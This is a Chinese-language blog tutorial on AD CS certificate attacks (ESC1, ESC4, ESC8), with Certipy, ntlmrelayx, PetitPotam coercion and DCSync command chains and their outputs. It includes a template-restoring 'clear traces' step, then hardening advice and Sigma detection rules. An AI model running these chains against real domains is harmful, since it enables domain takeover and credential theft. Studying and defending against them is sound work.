內網 AD CS 憑證服務攻擊

Active Directory Certificate Services Attack Techniques

前言

Active Directory Certificate Services (AD CS) 是 Microsoft 提供的企業級 PKI (Public Key Infrastructure) 解決方案,廣泛部署於企業內網環境中。然而,由於其複雜的配置選項和常見的錯誤設定,AD CS 已成為攻擊者在內網滲透中的重要攻擊面。

本文將深入探討 AD CS 的攻擊技術,涵蓋 ESC1 至 ESC8 等多種漏洞利用方式,並提供防禦措施與監控策略。


1. AD CS 架構概述

1.1 核心元件

AD CS 主要由以下元件組成:

  • Certificate Authority (CA):憑證授權中心,負責簽發和管理數位憑證
  • Certificate Templates:憑證模板,定義憑證的屬性和用途
  • Enrollment Services:註冊服務,處理憑證請求
  • Web Enrollment:Web 介面的憑證註冊服務

1.2 憑證模板關鍵屬性

1
2
3
4
5
6
屬性名稱                    說明
─────────────────────────────────────────────────────
msPKI-Certificate-Name-Flag    憑證名稱標記,決定 SAN 設定
msPKI-Enrollment-Flag          註冊標記,決定註冊行為
pKIExtendedKeyUsage            擴展金鑰用途 (EKU)
msPKI-RA-Signature             管理員簽章需求

1.3 常見 EKU 類型

EKU OID名稱用途
1.3.6.1.5.5.7.3.2Client Authentication用戶端驗證
1.3.6.1.5.5.7.3.1Server Authentication伺服器驗證
1.3.6.1.4.1.311.20.2.2Smart Card Logon智慧卡登入
1.3.6.1.5.2.3.4PKINIT Client AuthenticationKerberos PKINIT

2. ESC1 至 ESC8 漏洞概述

以下是 SpecterOps 團隊識別的主要 AD CS 漏洞:

ESC1 - 模板錯誤配置允許任意 SAN

當憑證模板允許申請者指定 Subject Alternative Name (SAN) 時,攻擊者可請求包含高權限使用者 UPN 的憑證。

關鍵條件:

  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 標記啟用
  • 模板允許 Client Authentication
  • 低權限使用者有註冊權限

ESC2 - 任意用途的 EKU

憑證模板配置了 “Any Purpose” EKU 或無 EKU,可被濫用於任何目的。

ESC3 - 註冊代理模板濫用

錯誤配置的 Enrollment Agent 模板允許代替他人申請憑證。

ESC4 - 模板存取控制漏洞

低權限使用者對憑證模板擁有寫入權限,可修改模板配置。

ESC5 - PKI 物件存取控制漏洞

CA 伺服器或相關 AD 物件的 ACL 配置錯誤。

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 標記

CA 配置允許在憑證請求中指定 SAN,即使模板未允許。

ESC7 - CA 管理員權限濫用

擁有 CA 管理權限的使用者可核發任意憑證。

ESC8 - NTLM Relay 至 Web Enrollment

HTTP-based Web Enrollment 服務未啟用 EPA,可進行 NTLM Relay 攻擊。


3. Certify 與 Certipy 工具使用

3.1 Certify (Windows)

Certify 是 GhostPack 套件中的 C# 工具。

列舉易受攻擊的模板

1
2
3
4
5
6
7
8
# 尋找所有易受攻擊的模板
Certify.exe find /vulnerable

# 尋找特定類型的漏洞
Certify.exe find /vulnerable /currentuser

# 列舉所有 CA
Certify.exe cas

申請憑證

1
2
3
4
5
# 使用易受攻擊的模板申請憑證
Certify.exe request /ca:DC01.corp.local\corp-DC01-CA /template:VulnerableTemplate /altname:administrator

# 申請 Machine 憑證
Certify.exe request /ca:DC01.corp.local\corp-DC01-CA /template:Machine /machine

3.2 Certipy (Python/Linux)

Certipy 是跨平台的 Python 工具,功能更為全面。

安裝

1
pip3 install certipy-ad

基本列舉

1
2
3
4
5
6
7
8
# 列舉 AD CS 環境
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10

# 僅輸出易受攻擊的模板
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# 使用 NTLM Hash
certipy find -u 'user@corp.local' -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 10.10.10.10

輸出格式

Certipy 會產生多種格式的報告:

1
2
3
corp_local_Certipy.txt    # 文字報告
corp_local_Certipy.json   # JSON 格式
corp_local_Certipy.zip    # BloodHound 匯入格式

4. ESC1 模板設定錯誤利用

4.1 攻擊條件

  1. 憑證模板的 msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT
  2. 模板 EKU 允許 Client Authentication
  3. 攻擊者對模板有 Enroll 權限
  4. 無需管理員核准

4.2 使用 Certipy 進行攻擊

步驟一:識別易受攻擊的模板

1
certipy find -u 'lowpriv@corp.local' -p 'Password123' -dc-ip 10.10.10.10 -stdout -vulnerable

輸出範例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Certificate Templates
  0
    Template Name                       : VulnerableTemplate
    Display Name                        : Vulnerable Template
    Certificate Authorities             : corp-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True    <-- 關鍵漏洞
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : None
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False   <-- 無需核准
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CORP.LOCAL\Domain Users  <-- 任何網域使用者

步驟二:請求惡意憑證

1
2
3
4
5
# 請求冒充 Domain Admin 的憑證
certipy req -u 'lowpriv@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
    -ca 'corp-DC01-CA' \
    -template 'VulnerableTemplate' \
    -upn 'administrator@corp.local'

輸出:

1
2
3
4
[*] Requesting certificate...
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate saved to 'administrator.pfx'

步驟三:使用憑證進行驗證

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 使用 Certipy 進行 PKINIT 驗證,取得 TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# 輸出
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

步驟四:使用取得的憑證

1
2
3
4
5
6
7
8
# 設定 Kerberos 票證
export KRB5CCNAME=administrator.ccache

# 使用 psexec 進行遠端執行
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local

# 或使用 Pass-the-Hash
impacket-psexec -hashes :2b576acbe6bcfda7294d6bd18041b8fe administrator@10.10.10.10

5. ESC4 模板權限提升

5.1 漏洞原理

當低權限使用者對憑證模板擁有以下權限時,可修改模板配置:

  • WriteProperty
  • WriteDacl
  • WriteOwner
  • FullControl

5.2 攻擊流程

步驟一:識別可寫入的模板

1
2
# 使用 Certipy 檢查模板權限
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

查看 ACL 輸出:

1
2
3
4
5
6
7
Permissions
  Object Control Permissions
    Owner                             : CORP.LOCAL\Domain Admins
    Write Owner Principals            : CORP.LOCAL\Domain Admins
    Write Dacl Principals             : CORP.LOCAL\Domain Admins
                                        CORP.LOCAL\IT-Support    <-- 可利用
    Write Property Principals         : CORP.LOCAL\IT-Support    <-- 可利用

步驟二:修改模板配置

1
2
3
4
5
6
7
# 備份原始模板配置
certipy template -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
    -template 'TargetTemplate' -save-old

# 修改模板,使其可被濫用 (設定 ESC1 條件)
certipy template -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
    -template 'TargetTemplate' -configuration ESC1

步驟三:利用修改後的模板

1
2
3
4
5
# 使用 ESC1 攻擊手法
certipy req -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
    -ca 'corp-DC01-CA' \
    -template 'TargetTemplate' \
    -upn 'administrator@corp.local'

步驟四:還原模板配置 (清除痕跡)

1
2
3
# 還原原始配置
certipy template -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
    -template 'TargetTemplate' -configuration TargetTemplate.json

5.3 使用 PowerShell 手動修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 取得模板物件
$templateDN = "CN=TargetTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
$template = Get-ADObject -Identity $templateDN -Properties *

# 修改 msPKI-Certificate-Name-Flag 以允許 SAN
Set-ADObject -Identity $templateDN -Replace @{
    'msPKI-Certificate-Name-Flag' = 1  # ENROLLEE_SUPPLIES_SUBJECT
}

# 修改 pkiExtendedKeyUsage 以包含 Client Authentication
Set-ADObject -Identity $templateDN -Replace @{
    'pKIExtendedKeyUsage' = '1.3.6.1.5.5.7.3.2'
}

6. ESC8 NTLM Relay 到 Web 註冊

6.1 漏洞原理

AD CS Web Enrollment 服務 (/certsrv/) 預設使用 NTLM 驗證,且未啟用 Extended Protection for Authentication (EPA)。攻擊者可透過 NTLM Relay 攻擊,使用強制驗證取得的 NTLM 驗證資訊向 CA 申請憑證。

6.2 攻擊準備

確認 Web Enrollment 服務

1
2
3
4
5
# 檢查 Web Enrollment 端點
curl -I http://ca.corp.local/certsrv/

# 使用 Certipy 確認
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 | grep -i "web enrollment"

6.3 攻擊步驟

步驟一:設定 NTLM Relay

1
2
3
4
5
# 使用 ntlmrelayx 設定 Relay 到 AD CS
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
    -smb2support \
    --adcs \
    --template 'DomainController'

步驟二:觸發 NTLM 驗證 (使用 PetitPotam)

1
2
3
# 使用 PetitPotam 強制 DC 向攻擊者驗證
python3 PetitPotam.py -d corp.local -u 'user' -p 'Password123' \
    attacker_ip dc01.corp.local

或使用其他強制驗證技術:

1
2
3
4
5
6
# PrinterBug / SpoolSample
python3 printerbug.py corp.local/user:Password123@dc01.corp.local attacker_ip

# DFSCoerce
python3 dfscoerce.py -d corp.local -u 'user' -p 'Password123' \
    attacker_ip dc01.corp.local

步驟三:取得 DC 憑證

當 NTLM Relay 成功後,ntlmrelayx 會輸出 Base64 編碼的憑證:

1
2
3
4
5
6
7
8
9
[*] SMTPD: Received connection from 10.10.10.10
[*] HTTPD: Received connection from 10.10.10.10
[*] HTTPD: Client requested path: /certsrv/certfnsh.asp
[*] HTTPD: NTLM auth from DC01$ succeeded
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Got certificate with target 'DC01$' as principal
[*] Certificate retrieved and saved to 'DC01$.pfx'

步驟四:使用憑證取得 DC 權限

1
2
3
4
5
6
7
8
9
# 使用憑證進行 PKINIT 驗證
certipy auth -pfx DC01\$.pfx -dc-ip 10.10.10.10

# 輸出
[*] Using principal: DC01$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'DC01$'

步驟五:DCSync 取得所有密碼

1
2
# 使用 DC 機器帳號進行 DCSync
impacket-secretsdump -k -no-pass corp.local/DC01\$@dc01.corp.local

6.4 進階:使用 Certipy 的整合 Relay

1
2
3
4
5
# Certipy 提供整合的 relay 功能
certipy relay -ca ca.corp.local -template 'DomainController'

# 在另一個終端觸發驗證
python3 PetitPotam.py attacker_ip dc01.corp.local

7. 防禦措施與加固建議

7.1 模板安全配置

移除不必要的 SAN 設定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 檢查並修復 ENROLLEE_SUPPLIES_SUBJECT 標記
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).configurationNamingContext)" -Filter * -Properties *

foreach ($template in $templates) {
    if ($template.'msPKI-Certificate-Name-Flag' -band 1) {
        Write-Warning "Template $($template.Name) allows enrollee to supply subject!"

        # 移除危險標記 (請先測試)
        # Set-ADObject -Identity $template -Replace @{
        #     'msPKI-Certificate-Name-Flag' = $template.'msPKI-Certificate-Name-Flag' -bxor 1
        # }
    }
}

限制模板權限

1
2
3
4
5
6
# 檢查模板的 ACL
$templateDN = "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
(Get-Acl "AD:\$templateDN").Access | Where-Object {
    $_.ActiveDirectoryRights -match "Write" -or
    $_.ActiveDirectoryRights -match "GenericAll"
}

7.2 CA 伺服器加固

停用 EDITF_ATTRIBUTESUBJECTALTNAME2

1
2
3
4
5
6
7
8
# 檢查當前設定
certutil -getreg policy\EditFlags

# 移除危險標記
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# 重啟 CA 服務
Restart-Service certsvc

啟用管理員核准

1
2
3
# 對敏感模板啟用 CA 管理員核准
# 在 Certificate Templates MMC 中設定:
# - Issuance Requirements -> CA certificate manager approval

7.3 Web Enrollment 防護

啟用 Extended Protection for Authentication

1
2
3
4
5
6
# 在 IIS 中設定 EPA
# 1. 開啟 IIS Manager
# 2. 選擇 CertSrv 站台
# 3. 選擇 Authentication
# 4. 選擇 Windows Authentication -> Advanced Settings
# 5. 設定 Extended Protection 為 "Required"

強制使用 HTTPS

1
2
3
# 移除 HTTP 綁定,僅保留 HTTPS
Import-Module WebAdministration
Remove-WebBinding -Name "Default Web Site" -Protocol http -Port 80

7.4 網路層防護

1
2
# 透過防火牆限制 NTLM Relay
# 限制對 CA Web Enrollment 的存取來源 IP

7.5 最小權限原則

角色建議權限
Domain Users僅允許 Enroll 基本使用者憑證
IT Support限制對 CA 和模板的管理權限
CA Admins專用管理帳號,啟用 MFA

8. 偵測與監控策略

8.1 Windows 事件日誌

關鍵事件 ID

事件 ID來源說明
4886SecurityCertificate Services 收到憑證請求
4887SecurityCertificate Services 核准並簽發憑證
4888SecurityCertificate Services 拒絕憑證請求
4768SecurityKerberos TGT 請求 (使用憑證)
4769SecurityKerberos Service Ticket 請求

啟用詳細稽核

1
2
3
4
5
6
7
# 啟用 Certificate Services 稽核
certutil -setreg CA\AuditFilter 127
Restart-Service certsvc

# 啟用進階 Kerberos 稽核
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

8.2 偵測規則範例

偵測異常 SAN 請求

1
2
3
4
5
6
7
8
9
<!-- Windows Event Forwarding 規則 -->
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4886)]] and
      *[EventData[Data[@Name='SubjectAltName'] and Data != '']]
    </Select>
  </Query>
</QueryList>

Sigma 規則:偵測 ESC1 攻擊

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
title: Potential AD CS ESC1 Attack - Certificate with Suspicious SAN
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4887
    filter_san:
        SubjectAlternativeName|contains:
            - '@'
            - 'UPN='
    filter_subject_mismatch:
        # SAN 中的 UPN 與請求者不同
    condition: selection and filter_san and filter_subject_mismatch
falsepositives:
    - Legitimate certificate enrollment with SAN
level: high

Sigma 規則:偵測 PKINIT 驗證

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
title: Kerberos Authentication Using Certificate
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4768
        PreAuthType: 16  # PA-PK-AS-REQ (Certificate)
    condition: selection
falsepositives:
    - Smart card authentication
    - Legitimate certificate-based authentication
level: medium

8.3 BloodHound 整合

1
2
3
4
5
6
# 使用 Certipy 產生 BloodHound 相容的資料
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
    -bloodhound -ns 10.10.10.10

# 匯入 BloodHound
# 將產生的 .zip 檔案拖放到 BloodHound GUI

8.4 持續監控建議

使用 PowerShell 監控模板變更

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 建立模板變更監控腳本
$templateContainer = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).configurationNamingContext)"

# 取得當前模板 Hash
$baseline = Get-ADObject -SearchBase $templateContainer -Filter * -Properties * |
    ForEach-Object {
        @{
            Name = $_.Name
            Hash = (Get-FileHash -InputStream ([IO.MemoryStream]::new([Text.Encoding]::UTF8.GetBytes($_ | ConvertTo-Json)))).Hash
        }
    }

# 比較並警報
# (可整合至 SIEM 或定期執行)

監控重點項目

  1. 模板屬性變更:監控 msPKI-Certificate-Name-Flag 變更
  2. 權限變更:監控模板和 CA 物件的 ACL 變更
  3. 異常憑證請求:大量請求或非工作時間的請求
  4. Web Enrollment 存取:監控 /certsrv/ 的存取日誌

結論

AD CS 攻擊已成為內網滲透中極具威力的攻擊向量。透過理解 ESC1-ESC8 等漏洞原理,防禦團隊可以更有效地識別和修復環境中的風險配置。

關鍵防禦措施包括:

  • 定期審查憑證模板配置
  • 實施最小權限原則
  • 啟用完整的稽核日誌
  • 部署即時監控和警報機制

建議定期使用 Certify 或 Certipy 等工具進行自我評估,在攻擊者之前發現並修復問題。


參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy